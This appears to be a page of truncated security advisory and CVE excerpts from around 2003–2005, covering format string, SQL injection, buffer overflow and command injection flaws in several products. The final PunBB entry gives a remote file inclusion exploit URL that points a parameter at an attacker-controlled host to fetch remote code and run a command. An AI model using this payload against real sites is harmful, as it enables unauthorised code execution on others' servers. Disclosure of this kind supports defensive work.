[Full-disclosure] ZRCSA-200505: libremail - "pop.c" Format String Vulnerability

libremail - "pop.c" Format String Vulnerability Zone-H Research Center Security Advisory 200505 http://www.zone-h.fr Date of release: 16/12/2005 Software: libremail http://libremail.tuxfamily.org/en/ Affected versions: = 1.1.0 Risk: Low/Medium Discovered by: Mehdi Oudad "deepfear" from the Zone-H...

lyris-listmanager.txt

Title: Lyris ListManager Multiple Flaws Release Date: December 8, 2005 Patch Date: Unknown v8.9b resolves most issues Reported Date: June 21, 2005 Vendor: Lyris Systems Affected: Lyris ListManager v5.0-8.8a most flaws Summary: The Lyris ListManager software is vulnerable to numerous SQL injection...

[SA17943] Lyris ListManager Multiple Vulnerabilities

TITLE: Lyris ListManager Multiple Vulnerabilities SECUNIA ADVISORY ID: SA17943 VERIFY ADVISORY: http://secunia.com/advisories/17943/ CRITICAL: Less critical IMPACT: Manipulation of data, Exposure of system information, Privilege escalation WHERE: From remote SOFTWARE: Lyris ListManager 7.x...

CVE-2004-2629

Multiple vulnerabilities in the H.323 protocol implementation for First Virtual Communications Click to Meet Express when used with H.323 conferencing endpoints, Click to Meet Premier, Conference Server, and V-Gate allow remote attackers to cause a denial of service, as demonstrated by the...

CVE-2004-2629

CVE-2004-2629 describes multiple vulnerabilities in the H.323 protocol implementation used by First Virtual Communications Click to Meet Express (and related products) that allow remote attackers to cause denial of service, demonstrated via the H.225 protocol test suite (PROTOS). The affected com...

CVE-2004-2629: Undefined Security Weakness

Multiple vulnerabilities in the H.323 protocol implementation for First Virtual Communications Click to Meet Express when used with H.323 conferencing endpoints, Click to Meet Premier, Conference Server, and V-Gate allow remote attackers to cause a denial of service, as demonstrated by the...

[Full-disclosure] ZRCSA-200504 - dotclear SQL Injection

Zone-H Research Center Security Advisory 200504 http://www.zone-h.fr Date of release: 30/11/2005 Software: dotclear http://www.dotclear.net Affected versions: = 1.2.2 Risk: Medium Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team Background ---------- dotclear is a weblog...

[Full-disclosure] ZRCSA-200503 - ktools Buffer Overflow Vulnerability

ZRCSA-200503 - ktools Buffer Overflow Vulnerability Zone-H Research Center Security Advisory 200503 http://www.zone-h.fr Date of release: 27/11/2005 Software: ktools http://konst.org.ua/ktools Affected versions: = 0.3 Risk: Medium Discovered by: Mehdi Oudad "deepfear" and Kevin Fernandez...

CVE-2003-1248

H-Sphere WebShell 2.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the 1 mode and 2 zipfile parameters in a URL request...

CVE-2003-1247

CVE-2003-1247 concerns multiple buffer overflows in H-Sphere WebShell 2.3. The flaw allows remote attackers to execute arbitrary code via (1) a long URL content type in CGI::readFile, (2) a long path in diskusage, and (3) a long fname in flist. Documents do not specify affected vendor/product ver...

CVE-2003-1248

CVE-2003-1248 affects H-Sphere WebShell 2.3. The vulnerability allows remote command execution by passing shell metacharacters in the mode and zipfile URL parameters. Impact is partial confidentiality, integrity, and availability. No explicit exploitation status is provided in the documents; expl...

CVE-2003-1247

Multiple buffer overflows in H-Sphere WebShell 2.3 allow remote attackers to execute arbitrary code via 1 a long URL content type in CGI::readFile, 2 a long path in diskusage, and 3 a long fname in flist...

CVE-2003-1248: Undefined Security Weakness

H-Sphere WebShell 2.3 allows remote attackers to execute arbitrary commands via shell metacharacters in the 1 mode and 2 zipfile parameters in a URL request...

CVE-2003-1247: Undefined Security Weakness

Multiple buffer overflows in H-Sphere WebShell 2.3 allow remote attackers to execute arbitrary code via 1 a long URL content type in CGI::readFile, 2 a long path in diskusage, and 3 a long fname in flist...

ZRCSA-200502 - phpAdsNew SQL Injection Vulnerabilities

ZRCSA-200502 - phpAdsNew SQL Injection Vulnerabilities Zone-H Research Center Security Advisory 200502 http://www.zone-h.fr Date of release: 11/11/2005 Software: phpAdsNew www.phpadsnew.com Affected versions: = 2.0.6 2.0.7rc1 latest CVS snapshot Risk: Medium Discovered by: Kevin Fernandez...

ZH200502.txt

Zone-H Research Center Security Advisory 200502 http://www.zone-h.fr Date of release: 11/11/2005 Software: phpAdsNew www.phpadsnew.com Affected versions: = 2.0.6 2.0.7rc1 latest CVS snapshot Risk: Medium Discovered by: Kevin Fernandez "Siegfried" from the Zone-H Research Team Background from thei...

Vulnerability in Microsoft ISA Server 2000 H.323 Filter(816458)

A security vulnerability exists in the H.323 filter for Microsoft Internet Security and Acceleration Server 2000 that could allow an attacker to overflow a buffer in the Microsoft Firewall Service in Microsoft Internet Security and Acceleration Server 2000. An attacker who successfully exploited...

MPEi/X Default Accounts

This host has one or more accounts with a blank password. Please see the data section for a list of these accounts. OpenVAS Vulnerability Test $Id: DDIMPEiXFTPAccounts.nasl 8023 2017-12-07 08:36:26Z teissa $ Description: MPEi/X Default Accounts Authors: H D Moore Copyright: Copyright C 2001 H D...

Vulnerability in Microsoft ISA Server 2000 H.323 Filter (816458)

A security vulnerability exists in the H.323 filter for Microsoft Internet Security and Acceleration Server 2000 that could allow an attacker to overflow a buffer in the Microsoft Firewall Service in Microsoft Internet Security and Acceleration Server 2000. SPDX-FileCopyrightText: 2004 Jeff Adams...

Remote File Inclusion in forum PunBB

Remote File Inclusion in forum PunBB Date:24/10/2005 Severity: High version: 1.1.2 1.1.5 The bug reside in common.php Exploit : http://www.host.com/forum/include/common.php?punroot=http://www.hostevil.com/cmd?&=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com FREE pop-up blocking with the...